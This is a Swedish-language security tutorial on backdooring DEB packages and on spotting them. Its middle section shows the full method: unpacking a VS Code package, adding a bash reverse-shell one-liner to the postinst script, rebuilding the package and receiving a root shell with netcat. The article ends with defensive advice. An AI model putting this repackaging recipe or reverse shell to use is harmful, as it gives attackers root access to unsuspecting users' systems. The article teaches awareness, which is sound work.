Hur DEB-paket är bakdörrar och hur man upptäcker det

Viktiga punkter

  • DEB-paket kan enkelt manipuleras för att innehålla bakdörrar, vilket ger angripare möjlighet att infoga skadlig kod i ditt system när du installerar dem med administratörsrättigheter.
  • Infekterade DEB-paket kan vara svåra att identifiera, då de kanske inte upptäcks av antivirusprogram eller molnbaserade verktyg som VirusTotal.
  • För att skydda dig, undvik att ladda ner DEB-paket från okända webbplatser. Använd istället officiella nedladdningssidor eller betrodda webbplatser i communityn. Överväg också att installera säkerhetsverktyg som skyddar ditt Linux-system mot nätverksattacker.

DEB-filer är programvarupaket, det primära formatet för programvarudistribution på Debian-baserade Linux-system.

För att installera DEB-paket krävs en pakethanterare, som dpkg, med root-behörigheter. Angripare utnyttjar detta genom att infoga bakdörrar i paketen. När dessa paket sedan installeras, körs den skadliga koden samtidigt, vilket komprometterar ditt system.

Låt oss utforska hur DEB-paket kan innehålla bakdörrar och vilka åtgärder du kan vidta för att skydda dig.

Hur kan DEB-paket infekteras med bakdörrar?

Innan vi förklarar hur DEB-paket kan infekteras, låt oss titta på vad de innehåller. Vi använder ett Microsoft Visual Studio Code DEB-paket som exempel. Detta kan laddas ner från Microsofts officiella webbplats. Det är samma paket som du skulle använda om du installerade VS Code på Linux.

Ladda ner här: Visual Studio Code

När paketet är nedladdat, är det dags att packa upp det. Du kan göra detta med kommandot dpkg-deb och flaggan -R följt av sökvägen där du vill spara innehållet:

dpkg-deb -R <paketnamn> <sökväg>

Detta kommer att extrahera innehållet i VS Code-paketet.

Inuti den uppackade mappen finns flera kataloger, men vi är främst intresserade av katalogen DEBIAN. Denna katalog innehåller underhållsskript som körs med root-behörighet under installationen. Angripare ändrar skripten i denna katalog för att infoga skadlig kod.

Som ett exempel kommer vi att ändra postinst-skriptet och lägga till en enkel bash reverse TCP shell med en one-liner. Som namnet antyder, är detta ett skript som körs efter att paketet installerats på systemet.

Skriptet innehåller kommandon för att slutföra konfigurationer, som att skapa symboliska länkar, hantera beroenden med mera. Det finns många olika reverse shells tillgängliga på nätet. De flesta av dem fungerar på liknande sätt. Här är ett exempel på en reverse shell one-liner:

bash -i >& /dev/tcp/127.0.0.1/42069 0>&1

Förklaring av kommandot:

  • bash: Kommandot som anropar Bash-skalet.
  • -i: Flaggan som talar om för Bash att köras i interaktivt läge, vilket möjliggör realtidskommunikation.
  • >& /dev/tcp/ip/port: Omdirigerar standardutdata och standardfel till en nätverksanslutning, vilket skapar en TCP-anslutning till <ip> och <port>.
  • 0>&1: Omdirigerar inmatning och utmatning till samma plats, dvs. nätverksanslutningen.

För de som inte är bekanta är en reverse shell en kod som, när den körs på måldatorn, startar en anslutning tillbaka till angriparens dator. Reverse shells är ett effektivt sätt att kringgå brandväggsbegränsningar eftersom trafiken genereras från maskinen bakom brandväggen.

Så här ser det modifierade skriptet ut:

Som du ser har bara en rad lagts till, vilket är vår Bash reverse shell. Nu behöver vi bygga tillbaka filerna till .deb-formatet. Använd kommandot dpkg med flaggan –build eller dpkg-deb med flaggan -b följt av sökvägen till det extraherade innehållet:

dpkg --build <katalog>
dpkg-deb -b <katalog>

Nu är det infekterade DEB-paketet redo att skickas ut på skadliga webbplatser. Låt oss simulera ett scenario där ett offer laddat ner DEB-paketet och installerar det som vilket annat paket som helst.

Den övre terminalen representerar offrets synvinkel, och den nedre angriparens. Offret installerar paketet med sudo dpkg -i, och angriparen lyssnar tålmodigt efter inkommande anslutningar med kommandot netcat i Linux.

Så fort installationen är klar, notera att angriparen får en reverse shell-anslutning och nu har root-åtkomst till offrets system. Nu vet du hur DEB-paket kan infekteras med bakdörrar. Låt oss nu lära oss hur du kan skydda dig.

Hur upptäcker man om ett DEB-paket är skadligt?

Nu när du vet att infekterade DEB-paket är en realitet, undrar du säkert hur man identifierar dem. Ett sätt är att använda ett Linux-antivirusprogram som ClamAV. Tyvärr visade en ClamAV-scanning av paketet att det inte flaggades som skadligt. Här är resultatet av scanningen:

Så, om du inte har en premium antiviruslösning (vilket inte garanterar att du inte blir hackad) är det svårt att upptäcka skadliga DEB-paket. Låt oss prova en molnlösning som VirusTotal-webbplatsen:

Som du kan se, upptäckte inte heller VirusTotal något fel. Det enda sättet att skydda sig mot den här typen av hot är att följa grundläggande säkerhetsrutiner, som att undvika nedladdningar från okända källor, alltid kontrollera en fils hash och generellt undvika att installera tvivelaktig programvara.

Internet är fullt av den här typen av hot. Det enda sättet att surfa utan att riskera din data är att vara vaksam och bara använda betrodda webbplatser. För Linux bör du dessutom undersöka om programvaran du vill ladda ner finns i AppImage-format. AppImages är fristående och kan köras i en sandlåda, vilket minskar risken för att de ska påverka systemet.

Ladda inte ner DEB-paket från slumpmässiga webbplatser!

DEB-paket är inte farliga i sig, men angripare kan enkelt manipulera dem och skicka dem till intet ont anande användare. Som visats kan ett DEB-paket enkelt öppnas och modifieras med egen kod med bara några få kommandon, vilket gör det till en vanlig metod för att sprida skadlig kod.

Även enkla bakdörrar i DEB-paket kan undgå de bästa antiviruslösningarna. Det bästa du kan göra är att vara försiktig, använda sunt förnuft när du surfar och alltid ladda ner programvara från officiella nedladdningssidor eller betrodda webbplatser.

Nu när du är medveten om riskerna med att installera DEB-paket från okända webbplatser, bör du vara försiktig när du installerar ny programvara. Det räcker dock inte att bara vara försiktig med vad du installerar. Ditt Linux-system kan också vara ett mål för nätverksattacker.

För att säkerställa att du är skyddad mot nätverksattacker bör du överväga att installera nätverkssäkerhetsverktyg.